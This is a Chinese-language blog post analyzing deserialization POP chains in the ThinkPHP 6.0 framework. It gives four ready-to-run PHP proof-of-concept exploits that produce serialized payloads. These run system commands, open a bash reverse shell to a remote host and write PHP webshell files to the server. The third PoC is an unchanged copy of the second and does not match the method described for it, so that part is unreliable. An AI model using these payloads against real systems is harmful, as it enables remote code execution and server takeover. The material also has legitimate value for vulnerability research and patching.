THINKPHP6.0 反序列化漏洞

Include POP and EXP

Posted by SEVENTEEN on May 8, 2021

前言

   在使用thinkphp开发自己的后台管理系统后,刚刚好知识储备足够来审计thinkphp的链子,便在本地搭建了thinkphp6.0来分析反序列化POP链

POP-1

   利用链如下:

   触发点位于:/vendor/topthink/think-orm/src/Model.php

令$this->lazySave = true

   查看$this->save()方法调用情况

   此处的$this->setAttrs($data)为数据赋值类操作,看到下面一个if语句,还要往下走,不能进入到if语句内return。 又因为这里为或,所以只需要绕过这里的两个if条件其中一个。

令$this->data = ['17man' => 'whoami']

   查看$this->updateData()调用情况。

令$this->exists = true

   $this->checkAllowFields()上面的条件基本满足,直接查看checkAllowFields方法调用情况。

   两个if初始值可以满足,不做修改。进一步可以看到$this->table . $this->suffix使用字符串拼接,找一个有__tostring方法的类做跳板。

令$this->table = $obj

   可以看到眼睛快坏掉了,lol

   很自然地进入$this->toArray(),看一下它在干什么

   要想进入$this->getAttr($key),必须要绕过两个if条件

   看一下两个for循环里面的if,只要下标对应的键值不为字符串即可

令$this->visible = [['17man' => 'visible']]

   合并后的数组中的下标传入$this->getAttr($key),看一下该方法的调用

   进入$this->getData($name),从$this->data[$fieldName]通过下标获取键值返回进入$this->getValue($name, $value, $relation)。

   查看$this->getValue($name, $value, $relation)方法的调用

令$this->withAttr = ['17man' => 'system']

   POC-1如下:

<?php

namespace think;

abstract class Model
{
    use model\concern\Attribute;

    private $lazySave;
    private $exists;
    protected $table;
    protected $visible;
    private $force;
    private $withAttr;

    public function __construct($obj)
    {
        $this->lazySave = true;
        $this->data = [
            '17man' => 'whoami'
        ];
        $this->exists = true;
        $this->table = $obj;
        $this->visible = [
            ['17man' => 'visible']
        ];
        $this->withAttr = ['17man' => 'system'];

    }
}


namespace think\model\concern;

trait Attribute
{
}


namespace think\Model;

use think\Model;

class Pivot extends Model
{
}

$object = new Pivot('');
$pwn = new Pivot($object);
echo urlencode(serialize($pwn));
?>

POP-2

   利用链如下:

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

/vendor/topthink/framework/src/think/cache/driver.php::set()

/vendor/topthink/framework/src/think/cache/driver.php::serialize()

   搜索全局__destruct()方法,找到/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

令$autosave = false

   因为AbstractCache为抽象类,所以找一下它的子类

   看到子类CacheStore中的save方法

令$cache = ['`bash -i >& /dev/tcp/ip/port 0>&1`']

   查看cleanContents调用情况,只要不是嵌套数组,就可以直接return回来

   返回json编码后的数据,进入set方法。 在条件足够利用的情况下,坚持能不进就不进原则。绕过第一个if语句,进入getCacheKey($name)方法。

令$this->expire = 'expire'

   $this->options = ['hash_type']不能为空,别问我怎么知道的。 接着,返回进去serialize($value)方法

令$this->options = ['hash_type' => 'md5']

   这里利用点其实就是$fun($value),$fun跟$value都可控,谁让PHP是世界上最好都语言呢? 不过需要注意的是这里的$value是json编码后的数组,用的是linux下反引号执行。 选择反弹shell是因为这里会因为[]"这几个符号报错,无法回显ls这类指令的输出。 当然,我一开始用trim测试去掉[]"这几个符号,但还是行不通。

令$this->options = ['serialize' => ['system']]

   POC-2如下:

<?php

namespace League\Flysystem\Cached\Storage;

abstract class AbstractCache
{
    protected $autosave = false;
    protected $cache = ['`bash -i >& /dev/tcp/ip/port 0>&1`'];
}

namespace think\filesystem;

use League\Flysystem\Cached\Storage\AbstractCache;

class CacheStore extends AbstractCache
{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($obj)
    {
        $this->store = $obj;
        $this->key = '17';
        $this->expire = 'expire';
    }

}


namespace think\cache;
abstract class Driver
{
}


namespace think\cache\driver;

use think\cache\Driver;
use think\filesystem\CacheStore;

class File extends Driver
{
    protected $options;

    public function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => true,
            'prefix' => '',
            'path' => '',
            'hash_type' => 'md5',
            'data_compress' => false,
            'tag_prefix' => 'tag:',
            'serialize' => ['system'],
        ];
    }

    public function set($key, $value, $ttl = null): bool
    {
        // TODO: Implement set() method.
    }

}

$object = new File();
$pwn = new CacheStore($object);
echo urlencode(serialize($pwn));
?>

POP-3

   利用链与POP-2的一样,只不过用的是serialize($value)方法下面的 $result = file_put_contents($filename, $data)来写入shell。 我觉得你也跟我一样懒,所以我在这也贴一次。

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

/vendor/topthink/framework/src/think/cache/driver.php::set()

/vendor/topthink/framework/src/think/cache/driver.php::serialize()

   既然有file_put_contents()函数,那么肯定要康康文件名跟内容参数怎么控制啦!

   查看$this->getCacheKey($name)的调用情况,还是那个能不进就不进原则。 更何况这里两个if已经对我们文件名动手动脚的了(诶,有if我就不进,就是玩儿), 这里options['path']用伪协议,是因为写入内容拼接了exit,具体康康p神那篇伪协议文章。

令$this->options = ['cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=convert.base64-decode/resource=', 'hash_type' => 'md5']

   这里要记得文件名跟加密方式,这里我用的是md5加密后的17man, 然后文件内容要加3个字符,因为base64编码4个字符一组。

   POC-3如下:

<?php

namespace League\Flysystem\Cached\Storage;

abstract class AbstractCache
{
    protected $autosave = false;
    protected $cache = ['`bash -i >& /dev/tcp/ip/port 0>&1`'];
}

namespace think\filesystem;

use League\Flysystem\Cached\Storage\AbstractCache;

class CacheStore extends AbstractCache
{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($obj)
    {
        $this->store = $obj;
        $this->key = '17';
        $this->expire = 'expire';
    }

}


namespace think\cache;
abstract class Driver
{
}


namespace think\cache\driver;

use think\cache\Driver;
use think\filesystem\CacheStore;

class File extends Driver
{
    protected $options;

    public function __construct()
    {
        $this->options = [
            'expire' => 0,
            'cache_subdir' => true,
            'prefix' => '',
            'path' => '',
            'hash_type' => 'md5',
            'data_compress' => false,
            'tag_prefix' => 'tag:',
            'serialize' => ['system'],
        ];
    }

    public function set($key, $value, $ttl = null): bool
    {
        // TODO: Implement set() method.
    }

}

$object = new File();
$pwn = new CacheStore($object);
echo urlencode(serialize($pwn));
?>

POP-4

   利用链如下:

/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php::save()

/vendor/league/flysystem/src/Adapter/Local.php:has()

/vendor/league/flysystem/src/Adapter/Local.php:write()

   触发点位于League\Flysystem\Cached\Storage\AbstractCache::__destruct()

令$autosave = false

   AbstractCache为抽象类,找一下它的子类Adapter利用

令$autosave = false

   看一下Adapter中的save()方法中,有一个write方法。$content为getForStorage方法返回值, 上文分析了该参数可控,所以可以用来写马。 我们只需要找到有has()跟write()方法的对象来利用。

令$cache = ['<?php phpinfo();?>'],$this->adapter = $obj

   查看has()方法的调用情况,发现该方法用来判断文件是否已存在, 只要构建文件名不存在即可

令$this->file = 'pwn.php'

   执行file_put_contents()函数,写入shell

   POC-4如下:

<?php

namespace League\Flysystem\Cached\Storage;

abstract class AbstractCache
{
    protected $autosave = false;
    protected $cache = ['<?php phpinfo();?>'];
}


namespace League\Flysystem\Cached\Storage;

class Adapter extends AbstractCache
{
    protected $adapter;
    protected $file;

    public function __construct($obj)
    {
        $this->adapter = $obj;
        $this->file = 'pwn.php';
    }
}


namespace League\Flysystem\Adapter;

abstract class AbstractAdapter
{
}


namespace League\Flysystem\Adapter;

use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;

class Local extends AbstractAdapter
{

    public function has($path)
    {
    }

    public function write($path, $contents, Config $config)
    {
    }

}

$object = new Local();
$pwn = new Adapter($object);
echo urlencode(serialize($pwn));
?>

There Is Nothing Below

   

Turn at the next intersection.